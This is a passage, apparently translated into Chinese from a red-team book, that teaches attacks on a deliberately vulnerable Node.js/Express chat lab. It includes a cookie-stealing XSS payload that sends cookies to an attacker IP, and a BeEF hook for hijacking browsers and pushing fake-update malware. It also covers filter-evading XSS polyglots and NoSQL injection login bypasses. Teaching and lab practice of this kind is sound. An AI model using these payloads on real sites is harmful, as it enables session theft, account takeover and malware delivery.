服务器。然后,我们将把 Pug 模板引擎添加到我们的 Express 框架中。这类似于我们现在在新开发的应用程序中经常见到的东西。 Express 是一个用于 Node.js 的极简 Web 框架。Express 为 Web 和移动应用程序提供了一组强大的功能,因此你无需进行大量工作。使用名为 Middlewares 的模块,你可以添加第三方认证或服务,如 Facebook 身份验证或 Stripe 支付服务。 Pug,正式名称为 Jade,是一个服务器端模板引擎,你可以(但不是必须)与 Express 一起使用它。Jade 用于在服务器上以编程方式生成 HTML 页面并将其发送给客户机。 让我们开始攻击 CSK 并启动聊天支持系统虚拟机。 Cyber Space Kittens:聊天支持系统 你偶然发现了面向外部网络的 CSK 聊天支持系统。当你慢慢筛选所有页面并了解底层系统时,你会在应用程序中寻找其弱点。你需要在服务器中找到第一个入口点,以便可以转入入侵生产环境。 你首先浏览了所有漏洞扫描程序和 Web 应用程序扫描程序的报告结果,但是一无所获。看起来这家公司经常运行常见的漏洞扫描器并修补了大部分问题。现在入侵的关键突破口在于代码问题、错误配置和逻辑缺陷。你还注意到此应用程序正在运行 NodeJS,这是一种最近很流行的语言。 设置你的 Web 应用程序攻击机器 虽然对于红队要面对的 Web 应用程序,并没有什么完美的入侵方法,但是你需要的一些基本工具包括: 用浏览器武装自己。许多浏览器的行为都非常不同,尤其是复杂的 XSS 规避机制: Firefox(我的最爱) Chrome Safari Wappalyzer:一种跨平台的实用程序,可以揭示网站上使用的技术。它可以检测内容管理系统,电子商务平台,Web 框架,服务器软件,分析工具等等。 https://wappalyzer.com/ BuiltWith:一个网站分析工具。在查找页面时,BuiltWith 会返回它在页面上可以找到的所有技术。BuiltWith 的目标是帮助开发人员,研究人员和设计人员找出正在使用的技术页面,这可以帮助他们决定自己采用哪些技术。 https://builtwith.com/ Retire.JS:扫描 Web 应用程序所使用的易受攻击的 JavaScript 库。Retire.js 的目标是帮助你检测具有已知漏洞的版本的使用情况。 https://chrome.google.com/webstore/detail/retirejs/moibopkbhjceeedibkbkbchbjnkadmom? Burp Suite(约350美元):虽然这个商业工具有点贵,但绝对物有所值,对于渗透测试人员和红队队员来说。它的好处来自附加组件,模块化设计和用户开发基础。如果你买不起 Burp,OWASP ZAP(免费)是一个很好的替代品。 分析 Web 应用程序 在我们进行任何类型的扫描之前,尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么代码?我们可以使用 Wappalyzer,BuiltWith 或 Google Chrome 浏览器查看。在下面的图像中,当加载聊天应用程序时,我们可以在 Chrome 中看到 HTTP 标头具有 X-Powered By: Express。我们还可以在Wappalyzer 中看到应用程序正在使用 Express 和 Node.js。 盲目攻击网站之前了解目标应用程序可以帮助你提供更好的思路。这也有助于入侵可能有 WAF 的目标站点,允许你使用更多的攻击手法。 网络探测 在之前的书中,我们详细介绍了如何使用 Burp Suite 以及如何对站点进行渗透测试。我们将跳过很多设置基础知识,并将更多精力放在攻击网站上。 在这一点上,我们将假设你已经设置好了 Burp Suite(免费或付费),并且你使用的是本书的 Kali 镜像。一旦我们了解了底层系统,我们就需要识别所有端点。我们仍然需要运行与之前相同的探测工具。 Burp Suite 爬虫:在免费和付费版本中,Burp Suite 都有一个很棒的爬虫工具。 内容探测:如果你使用的是付费版本的 Burp Suite,那么最受欢迎的探测工具之一就是 Discover Content。这是一个智能高效的工具,可以查找目录和文件。你还可以为扫描指定多种不同的配置。 主动扫描:运行所有参数的自动漏洞扫描并测试多个 Web 漏洞。 OWASP ZAP 类似于 Burp,但完全开源和免费。具有类似的探测和主动扫描功能。 Dirbuster 一个很久以前就被开发出的旧工具,用于发现 Web 应用程序的文件/文件夹,但现在仍然可以顺利的完成工作。 目标网址:http://chat:3000 字典: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt GoBuster 非常轻量级、快速的目录和子域名爆破工具 gobuster -u http://chat:3000 -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt -s 200,301,307 -t 20 你的字典列表非常重要。我最喜欢使用的一个汇总的字典列表是一个名为 raft 的旧字典,它是许多开源项目的集合。你可以在这里找到这些和其他有价值的字典列表:https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content(已包含在本书的 Kali 镜像中)。 现在既然我们已经完成了概述,让我们进行一些攻击吧。从红队的角度来看,我们正在寻找可以主动攻击的漏洞,并为我们提供最大的帮助。如果我们正在进行评估或渗透测试,我们可能会报告漏洞扫描程序中的 SSL 问题,默认 Apache 页面或其他漏洞扫描程序发现的不可利用的漏洞等。但是,在我们的红队工作中,我们可以完全忽略这些,并专注于能使我们获得高级访问权限,shell 或 转储 PII 的攻击。 XSS 跨站脚本攻击 在这一点上,我们都曾经见过并利用过跨站点脚本攻击(XSS)。使用传统的 XSS 攻击测试网站上的每个变量的方式:<script>alert(1)</script>,对于漏洞赏金平台来说可能很有用,但我们可以做更多吗?我们可以使用哪些工具和方法来更好地利用这些攻击? 我们都知道 XSS 攻击是客户端攻击,允许攻击者创建特定的 Web 请求从而将恶意代码注入响应中。这通常可以通过客户机和服务器端的适当输入验证来修复,但这绝不是那么容易。为什么这么说?因为 XSS 漏洞由多种原因造成的。从编码不规范到不理解框架,有时候应用程序变得过于复杂,就很难理解一个输入点的安全性。 因为仅仅弹窗确实没有真正的危害,让我们从一些基本类型的 XSS 攻击开始: Cookie 窃取XSS: <script>document.write('<img src="http//<YourIP>/Stealer.php?cookie='%2B document.cookie %2B '"/>');</script> 强制下载文件: <script>var link = document.createElement('a'); link.href ='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'; link.download = '';document.body.appendChild(link); link.click();</script> 重定向用户: <script>window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ";</script> 其他脚本以启用键盘记录器,拍照等: http://www.xss-payloads.com/payloads-list.html?c#category=capture 经过混淆的 XSS payload 和 XSS Polyglot 现在,标准的 XSS payload 通常仍然有效,但我们确实会遇到一些应用程序过滤字符或应用程序有 WAF 防护的情况。有两个很好的资源可以帮助你开始制作混淆的 XSS payload 攻击: https://github.com/foospidy/payloads/tree/master/other/xss https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 有时在行动期间,你可能会遇到简单的 XSS 过滤器,它们会查找像 <script> 这样的字符串。混淆 XSS payload 是一种选择,但一定要注意并非所有 JavaScript payload 都需要打开和关闭 <script> 标签。有一些 HTML 事件属性在触发时执行 JavaScript( https://www.w3schools.com/tags/ref_eventattributes.asp )。这意味着任何专门针对 Script 标签的规则都是无效的。例如,下列这些执行 JavaScript 的 HTML 事件属性就不使用 <script> 标签: <b onmouseover=alert('XSS')>Click Me!</b> <svg onload=alert(1)> <body onload="alert('XSS')"> <img src="http://test.cyberspacekittens.com" onerror=alert(document.cookie);> 你可以通过访问应用程序来尝试 CSK 应用程序中的每个 HTML 实体攻击:http://chat:3000/ (记得修改 /etc/host 文件以指向与虚拟机 IP 的聊天)。进入后,注册一个帐户,登录应用程序,然后转到聊天功能( http://chat:3000/chatchannel/1 )。尝试不同的实体攻击和经过混淆的 payload。 XSS 的其他优秀资源: 第一个是由 @jackmasa 制作的思维导图。这是一个很棒的文档,它根据输入点的位置来分解不同的 XSS payload。虽然不再在 JackMasa GitHub 页面上,但是这里有一个副本。 另一个很好的资源,讨论哪些浏览器容易受到哪些 XSS payload 的影响:https://html5sec.org/ 。 如你所见,尝试在应用程序上查找每一个 XSS 有时是很烦人的。这是因为易受攻击的参数受到代码功能、不同类型的 HTML 标记、应用程序类型和不同类型的过滤的影响。试图找到初始 XSS 的弹出窗口可能需要很长时间。如果我们可以尝试将多个 payload 链接到单个请求中,该怎么办? 最后一种类型的 payload 称为 Polyglot。Polyglot payload 采用许多不同类型的 payload 和混淆技术,并将它们编译成一次攻击。这适用于想使用自动脚本查找 XSS、时间有限的的漏洞赏金项目,或者仅仅想要快速发现输入验证存在哪些问题等情况。 因此,我们可以像( http://bit.ly/2GXxqxH )这样构建一个 Polyglot,而不是普通的 <script>alert(1)</script>: /*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 如果你看一下上面的 payload,此攻击试图不使用尖括号,点和斜线的传统攻击代码;执行 onclick XSS;关闭多个标签;最后尝试一个 onload XSS。这些类型的攻击使 Polyglots 在识别 XSS 方面非常有效和高效。你可以在此处阅读有关这些 Polyglot XSS 的更多信息:https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot 。 如果你想测试和使用不同的 polyglots,可以从易受攻击的 XSS 页面( http://chat:3000/xss )或整个聊天应用程序开始。 BeEF 浏览器漏洞利用框架( http://beefproject.com/ )或简称 BeEF 将 XSS 攻击提升到另一个层次。此工具将 JavaScript payload 注入受害者的浏览器,该浏览器会感染用户的系统。这会在受害者的浏览器上创建一个 C2通道,用于 JavaScript 后期利用。 对红队来说,BeEF 是一个很好的工具,可用于入侵活动,跟踪用户,捕获凭据,执行点击劫持,使用 Tabna 进行攻击等等。如果不在攻击期间使用,BeEF 也是一个很好的工具,可以展示 XSS 漏洞的强大功能。这也有助于更复杂的攻击,我们将在后面的 Blind XSS 小节下讨论。 BeEF 分为两部分:一部分是服务器,另一部分是攻击 payload。要启动服务器: 在你的攻击者 Kali 主机上启动 BeEF 打开终端 beef-xss 使用 beef:beef 查看 http://127.0.0.1:3000/hook.js 完整 payload 文件: <script src="http://<Your IP>:3000/hook.js"></script> 查看位于 http://127.0.0.1:3000/hook.js 上的 hook.js 文件,你应该会看到类似于长混淆的 JavaScript 文件的内容。这是连接受害者返回命令和控制服务器的客户端 payload 。 一旦在目标应用程序上识别出 XSS,而不是原始的 alert(1) 样式的 payload,就可以修改 <script src ="http://<YourIP>:3000/hook.js"></script> payload 来利用此漏洞。一旦你的受害者陷入此 XSS 陷阱,将导致他们的浏览器连接回你这边并成为你的僵尸网络的一部分。 BeEF 支持哪些类型的后渗透攻击?一旦你的受害者受到你的控制,你就可以做任何 JavaScript 可以做的事情。你可以通过 HTLM5打开相机并拍摄受害者的照片,你可以在屏幕上显示覆盖图以捕获凭据,也可以将其重定向到恶意网站以执行恶意软件。 以下是 BeEF 从 XSS 攻击中引发大量问题的快速演示: 首先,确保你的 BeEF 服务器在攻击者计算机上运行。在我们的易受攻击的聊天支持系统的应用程序中,你可以访问 http://chat:3000/xss 并在练习2的字段中输入你的 payload: <script src="http://127.0.0.1:3000/hook.js"></script> 一旦你的受害者连接到你的僵尸网络,你就可以完全控制他们的浏览器。你可以根据设备,浏览器和目标机器启用的功能进行各种攻击。通过社会工程学演示 XSS 影响力的一个好方法是通过 Flash 更新提示将恶意软件推送到他们的计算机。 一旦执行,将在受害者的计算机上显示弹出窗口,强制他们安装更新,其中包含我们准备的恶意软件。 我建议花一些时间熟悉所有 BeEf 的后渗透模块,并了解 JavaScript 的强大功能。由于我们会控制浏览器,因此我们必须弄清楚如何在红队活动中使用它。一旦你通过 XSS 感染了受害者,你还想做些什么?我们将在后面的“从 XSS 到 shell”部分讨论这个问题。 Blind XSS 漏洞 Blind XSS 漏洞很少被讨论,因为它是需要耐心的游戏。什么是 Blind XSS 漏洞?正如攻击的名称所表示的那样,攻击者/用户看不到存储的 XSS payload 的执行(无回显),只有管理员或后台员工才能看到。由于其攻击后端用户的能力,所以这种攻击可能危害很大,但尽管如此,它还是经常被遗忘。 例如,我们假设某个应用程序有一个“联系我们”页面,允许用户向管理员提供联系信息,以便以后联系。由于该数据的结果只能由管理员手动查看而不是用户请求查看,所以如果应用程序易受 XSS 攻击,攻击者不会立即看到他们的 “alert(1)” 攻击的回显。在这些情况下,我们可以使用 XSSHunter 来帮助我们验证 Blind XSS 漏洞。 XSSHunter 的工作原理是,当我们的 JavaScript payload 执行时,它将截取受害者屏幕(他们正在查看的当前页面)的屏幕截图,并将该数据发送回 XSSHunter 的站点。发生这种情况时,XSSHunter 将发送一个警报,告知我们的 payload 已执行并向我们提供所有详细信息。我们现在可以回去创建一个恶意 payload 并重新进行我们的攻击。 XSS Hunter: 禁用任何代理(即 Burp Suite) 在 https://xsshunter.com 创建帐户 登录 https://xsshunter.com/app 转到 Payload 模块以获得你的 Payload 修改 payload 以适应你的攻击或使用它构建 Polyglot 检查 XSS hunter 以查看 payload 执行情况 基于 DOM 的 XSS 对反射 XSS 和存储 XSS 的理解相对简单。我们已经知道,如果服务器没有为用户/数据库提供足够的输入/输出验证,我们的恶意脚本代码就会通过源代码呈现给用户。然而,在基于 DOM 的 XSS 中,它略有不同,这导致了一些常见的误解。因此,让我们花些时间专注于基于 DOM 的 XSS。 当攻击者可以操纵 Web 应用程序的客户端脚本时,就可以使用基于文档对象模型(DOM)的 XSS。如果攻击者可以将恶意代码注入 DOM 并由客户端的浏览器读取,则可以在从 DOM 读回数据时执行 payload。 DOM 究竟是什么?文档对象模型(DOM)是 HTML 属性的一个特性。由于你的浏览器不理解 HTML,因此它会使用将 HTML 转换为 DOM 模型的解释器。 让我们在聊天支持网站上试一下吧。查看易受攻击的 Web 应用程序,你应该能够看到聊天支持网站受到 XSS 攻击的流程: 创建一个帐户 登录 去聊天 尝试 <script>alert(1)</script>,然后尝试一些更疯狂的 XSS 攻击! 在我们的示例中,我们在服务器端有 Node.js,socket.io(Node.js 的库)在用户和服务器之间设置 Web 套接字,客户端 JavaScript 和我们的恶意 msg.msgText JavaScript。正如你在下面和页面的源代码中看到的那样,你不会像在标准的反射/存储的 XSS 中那样直接引用你的“弹窗” payload。在这个例子里,我们将得知唯一指示可以调用 payload 的位置来自 msg.name 引用。这有时会使我们很难确定执行 XSS payload 的位置,或者是否需要打破任何 HTML 标记。 NodeJS 中的高级 XSS XSS 可以不断用于攻击的一个重要原因是,仅靠过滤标签或某些字符防御它的话要困难得多。当 payload 特定于某种语言或框架时,XSS 很难防御。由于每种语言在此漏洞方面都有其独到之处,因此 NodeJS 也不会有什么不同。 在高级 XSS 部分中,你将学习一些特定语言的 XSS 漏洞发挥作用的示例。我们的 NodeJS Web 应用程序将使用一种更常见的 Web 堆栈和配置。此实现包括 Express Framework 和 Pug 模板引擎。重要的是要注意一点,默认情况下,Express 确实没有内置的 XSS 防护,除非通过模板引擎进行渲染。当使用像 Pub 这样的模板引擎时,有两种常见的方法可以找到 XSS 漏洞:(1)通过字符串插值,以及(2)缓冲代码。 模板引擎有一个字符串插值的概念,这是一种定义“字符串变量的占位符”的奇特方式。例如,让我们将字符串分配给 Pug 模板格式的变量: - var title = "This is the HTML Title" - var THP = "Hack the Planet" h1 #{title} p The Hacker Playbook will teach you how to #{THP} 请注意,#{THP} 是 THP 之前分配的变量的占位符。我们通常会在电子邮件分发消息中看到这些模板。你是否收到过来自 ${first_name}...的自动化系统发送的电子邮件而不是你的真实名字?这正是模板引擎的用途。 当上面的模板代码呈现为 HTML 时,它将如下所示: <h1>This is the HTML Title</h1> <p>The Hacker Playbook will teach you how to Hack the Planet</p> 幸运的是,在这种情况下,我们使用 #{} 字符串插值,这是 Pug 插值的转义版本。如你所见,通过使用模板,我们可以创建可重用性非常高的代码并使模板非常轻量级。 Pug 支持转义和非转义字符串插值。隐藏和未转义之间的区别是什么?好吧,使用转义字符串插值将对 < ,> ,' 和 "之类的字符进行 HTML 编码。这将有助于向用户提供输入验证。如果开发人员使用非转义字符串插值,这通常会导致 XSS 漏洞。 此外,字符串插值(或变量插值,变量替换或变量扩展)是评估包含一个或多个占位符的字符串文字的过程,从而产生一个结果,其中占位符替换为其对应的值。[https://en.wikipedia.org/wiki/String_interpolation] 在 Pug 隐藏和非转义字符串插值( https://pugjs.org/language/interpolation.html ): !{} - 非转义字符串插值 #{} - 转义字符串插值 * 虽然这是转义的,但如果直接通过 JavaScript 传递它仍然可能容易受到 XSS 的攻击 在 JavaScript 中,未转义的缓冲区代码以“!=”开头。“!=”之后的任何内容都将自动作为 JavaScript 执行。 [https://pugjs.org/language/code.html#unescaped-buffered-code] 最后,只要允许插入原始 HTML,就有可能存在 XSS。 在现实世界中,我们已经看到许多易受 XSS 攻击的案例,基于上述说明的方法,开发人员忘记了他们所处的上下文以及输入的参数的传递位置。让我们看看我们易受攻击的聊天支持系统应用程序中的一些示例。转到虚拟机上的以下 URL:http://chat:3000/xss。我们将逐步完成这些练习中的每一个,以了解 NodeJS/Pug XSS。 练习1:( http://chat:3000/xss ) 在这个例子中,我们将字符串插值转义为段落标记。这是不可利用的,因为我们在 HTML 段落上下文中使用了正确的转义字符串插值符号。 转到 http://chat:3000/xss ,然后单击练习#1 Pug 模板源代码 p No results found for #{name1} 尝试输入并提交以下 payload : <script>alert(1)</script> 单击练习#1并查看无结果输出 查看 HTML 响应(查看页面的源代码): <script>alert(1)</script> 点击提交后,查看页面源代码(ctrl+u)并搜索“alert”一词。你将看到我们的 payload 中的特殊字符被转换为 HTML 实体。脚本标签仍可通过我们的浏览器在我们的网站上看到,但不会呈现为 JavaScript。这种字符串插值的使用是正确的,并且实际上没有办法通过这种情况来找到 XSS。这个工作评分会是 A+!让我们看一些糟糕的例子。 练习2 在这个例子中,我们在段落标记中用 !{} 表示非转义字符串插值。这很容易受到被精心设计的 XSS 攻击。任何基本的 XSS payload 都会触发此操作,例如:<script>alert(1)</script> 打开练习2 Pug 模板源代码 p No results found for !{name2} 尝试输入 payload: <script>alert(1)</script> 返回: <script>alert(1)</script> 点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。 因此,使用未提交用户输入的非转义字符串插值(!{name2})会导致很多麻烦。这是一种不好的做法,不应该用于用户提交的数据。因为我们输入的任何 JavaScript 都将在受害者的浏览器上执行。 练习3 这个例子中,我们在动态生成的行内 JavaScript 中加入了转义后的字符串。这意味着我们成功了,因为它已经隐藏了,不是吗?由于我们所处的代码上下文,这个例子很容易受到攻击。我们将在 Pug 模板中看到,在我们的转义插值之前,我们实际上是在一个 script 标签内。因此,任何 JavaScript 都会自动执行。更棒的是,因为我们位于 Script 标签内,所以我们不需要将 <script> 标签用作 payload 的一部分。我们可以使用直接的 JavaScript 代码,例如:alert(1): 打开练习3 Pug 模板源代码 script. var user3 = #{name3}; p No results found for #{name3} 此模板将在 HTML 中进行转义,如下所示: <script> <p>No results found for [escaped user input]</p> </script> 尝试输入 payload: 1;alert(1); 点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。 顺便说一句,下面是一个小小的改变,正确的方法是在插值周围添加引号: Pug 模板源代码 script. var user3="#{name3}" 练习4 在这个例子中,我们有 Pug 非转义代码,由 != 表示,因为没有转义,所以它很容易受到 XSS 的攻击。因此,在这种情况下,我们可以对输入字段使用简单的 <script>alert(1)</script> 样式攻击。 Pug 模板源代码: p != 'No results found for '+name4 尝试输入 payload: <script>alert(1)</script> 点击提交后,我们应该看到弹出窗口。你可以通过查看页面源代码并搜索“alert”进行验证。 练习5 假设我们得到一个使用转义字符串插值和某种类型的过滤的应用程序。在下面的练习中,我们在 NodeJS 服务器中执行规则最小的黑名单过滤脚本,删除“<”,“>”和“alert”等字符。但是,他们再次错误地将我们的转义字符串插值放在 script 标签中。如果我们可以在那里利用 JavaScript,我们就可以发现一个 XSS: 打开练习5 Pug 模板源代码 name5 = req.query.name5.replace(/[;’"<>=]|alert/g,"") script. var user3 = #{name5}; 尝试输入 payload 你可以尝试 alert(1),但由于过滤器不起作用。你也可以尝试像<script>alert(1)</script>这样的东西,但转义代码和过滤器会拦截我们。如果我们真的想获得能利用 alert(1)的 payload,我们该怎么办? 我们需要弄清楚如何绕过过滤器来插入原始 JavaScript。请记住,JavaScript 功能非常强大,并且具有许多功能。我们可以利用此功能来提供一些新颖的 payload。绕过这些过滤器的一种方法是使用新颖的 JavaScript 表示方法。这可以通过名为 http://www.jsfuck.com/ 的站点创建。如下所示,通过使用括号,括号,加号和感叹号,我们可以重新创建 alert(1)。 JSF*ck Payload: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() 如你所知,许多浏览器已开始包含 XSS 保护机制。我们甚至可以使用这些 payload 来绕过某些浏览器保护。尝试在 Kali 之外的真实浏览器中使用它们,例如 Chrome。 在复杂的应用程序上触发 XSS 并不容易。很容易忽视或误解框架如何处理输入和输出。因此,在为 Pug/NodeJS 应用程序执行源代码审查时,在源代码中搜索 !{,#{ 或 ${ 有助于可能触发 XSS 的位置。了解上下文,以及是否需要在该上下文中进行转义,这是至关重要的,我们将在以下示例中看到。 尽管这些攻击特定于 Node 和 Pug,但每种语言都存在针对 XSS 和输入验证的问题。你将无法运行漏洞扫描程序或 XSS 模糊测试工具并找到所有 XSS 漏洞。但你确实需要了解所使用的语言和框架。 从 XSS 到 shell 我经常遇到的一个问题是,我如何通过 XSS 获取 Shell?尽管有许多不同的方法可以做到这一点,但我们通常会发现,如果我们可以让用户在内容管理系统(CMS)或类似系统中获得管理员的 XSS,那么这可能会导致系统完全受损。可以在这里找到 Hans-Michael 完整的演练示例和代码:https://github.com/Varbaek/xsser 。 Hans-Michael 提供了一些关于重建 XSS 到 RCE 攻击的精彩示例和视频。 我喜欢使用涉及利用 JavaScript 功能的自定义红队攻击。我们知道 JavaScript 非常强大,我们在 BeEF(浏览器开发框架)中看到过这样的功能。因此,我们可以利用所有这些功能来执行受害者不知情的攻击。这个 payload 会做些什么?攻击的一个示例是让受害者计算机上运行的 JavaScript XSS payload 获取受害者的内部(自然)IP 地址。然后,我们可以获取其 IP 地址并开始使用我们的 payload 扫描其内部网络。如果我们发现一个允许在没有身份验证的情况下就可以登入的 Web 应用程序,我们就可以向该服务器发送 payload。 例如,我们的目标可能是 Jenkins 服务器,我们知道如果可以未经身份验证登录的话,几乎可以完成远程代码执行。要查看 XSS 与 Jenkins 入侵的完整演练,请参阅第5章 - 利用社会工程攻击内网 Jenkins。 NoSQL 注入 在前两本书中,我们花了相当多的时间学习如何进行 SQL 注入和使用 SQLMap。除了对 Burp Suite 的一些混淆和集成之外,本书对比上本书没有太大变化。相反,我想深入研究 NoSQL 注入,因为这些数据库变得越来越普遍。 MySQL,MSSQL 和 Oracle 等传统 SQL 数据库依赖于关系数据库中的结构化数据。这些数据库是关系型的,这意味着一个表中的数据与其他表中的数据有关。这样可以轻松执行查询,例如“列出所有在过去30天内购买东西的客户”。对这些数据的要求是,数据的格式必须在整个数据库中保持一致。NoSQL 数据库由通常不遵循表格/关系模型的数据组成,如 SQL 查询数据库中所示。这些称为“非结构化数据”(如图片,视频,社交媒体)的数据并不适用于我们的大量收集数据。 NoSQL 功能: NoSQL 数据库的类型:Couch/MongoDB 非结构化数据 水平化增长 在传统的 SQL 注入中,攻击者会尝试破坏 SQL 查询语句并在服务器端修改查询语句。使用 NoSQL 注入,攻击可以在应用程序的其他区域中执行,而不是在传统的 SQL 注入中执行。此外,在传统的 SQL 注入中,攻击者会使用一个标记来发起攻击。在 NoSQL 注入中,在NoSQL注入中,通常存在将字符串解析或评估为NoSQL调用的漏洞。 NoSQL 注入中的漏洞通常在以下情况下发生:(1)端点接受的 JSON 数据是从 NoSQL 数据库中请求的,以及(2)我们能够使用 NoSQL 比较运算符操作查询来更改 NoSQL 查询。 NoSQL 注入的一个常见例子是注入类似的东西:[{"$gt":""}]。这个 JSON 对象基本上是说运算符($gt)大于 NULL("")。由于逻辑上一切都大于 NULL,因此 JSON 对象成为一个真正正确的语句,允许我们绕过或注入 NoSQL 查询。这相当于 SQL 注入世界中的[' or 1=1—]。在 MongoDB 中,我们可以使用以下条件运算符之一: (>)大于 - $gt (<)小于 - $lt (>=)大于等于 - $gte (<=)小于等于 - $lte 攻击客户支持系统 NoSQL 应用程序 首先,浏览聊天应用程序上的 NoSQL 工作流程: 在浏览器中,通过 Burp Suite 代理,访问聊天应用程序:http://chat:3000/nosql 尝试使用任何用户名和密码进行身份验证。查看在 Burp Suite 中的身份验证请求期间发送的 POST 流量。 在我们的聊天应用程序中,我们将看到在对/loginnosql 端点进行身份验证期间,我们的 POST 数据将包含 { "用户名":"admin","密码": "GuessingAdminPassword" }。在 POST 请求中使用 JSON 来验证用户是很常见的,但是如果我们定义自己的 JSON 对象,我们可能会使用不同的条件语句来生成真正的语句。这实际上等于传统的 SQLi 1 = 1语句和绕过认证。让我们看看我们是否可以将其注入我们的应用程序。 服务器源代码 在聊天应用程序的 NoSQL 部分中,我们将像之前一样看到 JSON 的 POST 请求。因为作为黑盒测试,我们也看不到服务器端的源代码,我们可以期望它以某种方式查询 MongoDB 后端,类似于: db.collection(collection).find({"username":username,"password":password}).limit(1)... 注入 NoSQL 聊天系统 正如我们从服务器端源代码中看到的那样,我们将使用用户提供的用户名/密码来搜索数据库以查找匹配项。如果我们可以修改 POST 请求,我们可能会注入数据库查询。 在浏览器中,通过 Burp Suite 代理,访问聊天应用程序:http://chat:3000/nosql 在 Burp Suite 中打开“拦截”,单击“登录”,然后以管理员身份提交用户名,并输入密码 GuessingAdminPassword 代理流量并拦截 POST 请求 {"username":"admin","password","GuessingAdminPassword"} --> {"username":"admin","password":{"$gt":""}} 你现在应该可以以管理员身份登录! 那么这里发生了什么呢?我们将字符串 "GuessingAdminPassword" 更改为JSON对象 {"$gt":""},这是 TRUE 语句,因为大于 NULL 的所有内容都为 TRUE。这将 POST 请求更改为 {"username":"admin", "password":TRUE },它自动使请求为 TRUE 并以管理员身份登录而不需要知道密码,类似 SQLi 中的 1 = 1 攻击。 高级 NoSQLi NoSQL 注入并不新鲜,但 NodeJS 章节的目的是展示更新的框架和语言以及如何潜在地引进新的漏洞。例如,Node.js 有一个 qs 模块,它具有将 HTTP 请求参数转换为 JSON 对象的特定语法。默认情况下,qs 模块在 Express 中使用“body-parser”中间件的一部分。 qs 模块:一个查询字符串解析和字符串化库,增加了一些安全性。[https://www.npmjs.com/package/qs] 这是什么意思?如果使用 qs 模块,如果在参数中使用括号表示法,POST 请求将在服务器端转换为 JSON。因此,看起来像用户名 [value] = admin&password [value] = admin 的 POST 请求将转换为 {"username":{"value":"admin"},"password":{"value":"admin" }}。现在,qs 模块也将接受并转换 POST 参数以协助 NoSQLi: 例如,我们可以发出如下的 POST 请求: username=admin&password[$gt]= 服务器端请求转换将转换为: {"username": "admin", "password":{"$gt":""} 现在看起来类似于传统的 NoSQLi 攻击。 现在,我们的请求看起来与上一节中的 NoSQLi 相同。让我们看看这个操作: 转到 http://chat:3000/nosql2 打开 Burp Intercept 使用 admin 登录: 修改 POST 参数: username=admin&password[$gt]=&submit=login 你应该可以使用 admin 登录了!你已使用 Express Framework 使用的 qs 模块解析器执行 NoSQL 注入,作为解析器中间件的一部分。但等等,还有更多!如果你不知道要攻击哪个用户名怎么办?我们可以使用同样的攻击来查找和登录其他帐户吗? 如果不是使用密码的话,那我们也可以尝试使用用户名吗?在这种情况下,NoSQLi POST 请求看起来像: username[$gt]=admin&password[$gt]=&submit=login 上面的 POST 请求实际上是在数据库中查询下一个大于 admin 的用户名,并使用密码字段生成一个 TRUE 语句。如果成功,你应该在管理员之后按字母顺序作为下一个用户登录。继续这样做,直到找到 superaccount 。 更多 NoSQL Payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html https://www.owasp.org/index.php/Testing_for_NoSQL_injection 反序列化攻击 在过去的几年中,通过网络进行的序列化/反序列化攻击变得越来越流行。我们在 BlackHat上看到了许多不同的讨论,发现了 Jenkins 和 Apache Struts2 等常见应用程序中的关键漏洞,并且正在开发像 ysoserial 这样工具的大量活跃研究。那么反序列化攻击有什么厉害之处呢? 在我们开始之前,我们需要了解为什么要序列化。序列化数据有很多原因,但最常用于生成值/数据的可存储表示而不会丢失其类型或结构。序列化将对象转换为字节流,以通过网络传输或存储。通常,转换方法涉及 XML,JSON 